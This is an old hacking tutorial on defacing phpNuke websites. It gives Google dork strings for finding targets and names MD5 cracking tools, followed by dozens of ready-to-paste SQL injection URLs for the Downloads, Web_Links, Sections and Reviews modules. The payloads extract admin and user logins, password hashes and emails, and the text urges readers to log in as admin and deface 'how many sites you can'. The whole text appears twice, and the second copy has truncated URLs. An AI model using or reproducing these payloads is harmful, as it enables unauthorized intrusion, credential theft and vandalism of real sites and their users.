Defacing phpNUke sites Using Multiple SQL INJECTION TECHNIQUES
Although this is very old, I was surprised to see thousands of sites
vulnerable even security sites and some hacking sites using phpNUke..
TOOLS:
1. Google,Browser
2. MD5 password cracker
Cain and Abel
Lepton's Crack
Rainbowcrack
mdcrack
3. Wordlist
STEPS:
1. Google search strings:this are just examples(this is just how I did), use your imagination..
allinurl:/modules.php?name=Downloads
allinurl:/modules.php?name=Web_links
allinurl:/modules.php?name=Sections
allinurl:/modules.php?name=Reviews
2. goto site then copy paste the strings that starts with '&' so the query for
downloads module sample would be hxxp://phpnukesite/modules.php?name=Downloads&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--
weblinks module sample would be hxxp://phpnukesite/modules.php?name=Web_links&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*
Sections module sample would be
hxxp://phpnukesite/modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
Reviews module sample would be
hxxp://phpnukesite/modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*
3. If you cracked the admin hash then login thru
http://phpnukesite/admin.php
4. Respect and don't damage too much, Just inform them to patch
6. You will be amazed how many sites you can deface
7. Some alternative queries are listed below:
[DOWNLOADS MODULE]
--admin,hash---
&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--
--names,logins,passes
&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors
---all pseudos of users,pass---6.9
&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*
---6.9logins, ID, encrypted passwords, names, emails and levels of all reg users---
&d_op=modifydownloadrequest&lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,user_email,user_level,0,0%20FROM%20nuke_users
---------------------------------------------------------------
allinurl:/modules.php?name=Web_Links
[WEBLINKS MODULE]
--user,hash----
&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*
--hash--
&l_op=viewlink&cid=2 UNION Select aid,pwd,1 from nuke_authors --
----admin username-------
&l_op=viewlink&cid=2 UNION Select 1,aid,pwd from nuke_authors --
--hash---
&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
&l_op=brokenlink&lid=0%20UNION%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors
----Resteer towards the password----
&l_op=visit&lid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
-----------------------------------------------------------------
allinurl:/modules.php?name=Sections
[SECTIONS MODULE]
--admin hash---
&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors
---user,hash---
&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
-----------------------------------------------------------------
allinurl:/modules.php?name=Reviews
[REVIEWS MODULE]
&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*Defacing phpNUke sites Using Multiple SQL INJECTION TECHNIQUES
Although this is very old, I was surprised to see thousands of sites
vulnerable even security sites and some hacking sites using phpNUke..
TOOLS:
1. Google,Browser
2. MD5 password cracker
Cain and Abel
Lepton's Crack
Rainbowcrack
mdcrack
3. Wordlist
STEPS:
1. Google search strings:this are just examples(this is just how I did), use your imagination..
allinurl:/modules.php?name=Downloads
allinurl:/modules.php?name=Web_links
allinurl:/modules.php?name=Sections
allinurl:/modules.php?name=Reviews
2. goto site then copy paste the strings that starts with '&' so the query for
downloads module sample would be
http://phpnukesite/m...wdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--
weblinks module sample would be http://phpnukesite/modules.php?name=Web_li...0nuke_authors/*
Sections module sample would be
http://phpnukesite/m...%20nuke_authors
Reviews module sample would be http://phpnukesite/modules.php?name=Review...0nuke_authors/*
3. If you cracked the admin hash then login thru
http://phpnukesite/admin.php
4. Respect and don't damage too much, Just inform them to patch
6. You will be amazed how many sites you can deface
7. Some alternatice queries are listed below:
[DOWNLOADS MODULE]
--admin,hash---
&d_op=viewdownload&cid=2 UNION select counter,aid,pwd from nuke_authors--
--names,logins,passes
&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors
---all pseudos of users,pass---6.9
&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*
---6.9logins, ID, encrypted passwords, names, emails and levels of all reg users---
&d_op=modifydownloadrequest&lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,user_email,user_level,0,0%20FROM%20nuke_users
---------------------------------------------------------------
allinurl:/modules.php?name=Web_Links
[WEBLINKS MODULE]
--user,hash----
&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*
--hash--
&l_op=viewlink&cid=2 UNION Select aid,pwd,1 from nuke_authors --
----admin username-------
&l_op=viewlink&cid=2 UNION Select 1,aid,pwd from nuke_authors --
--hash---
&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
&l_op=brokenlink&lid=0%20UNION%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors
----Resteer towards the password----
&l_op=visit&lid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
-----------------------------------------------------------------
allinurl:/modules.php?name=Sections
[SECTIONS MODULE]
--admin hash---
&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors
---user,hash---
&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
-----------------------------------------------------------------
allinurl:/modules.php?name=Reviews
[REVIEWS MODULE]
&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*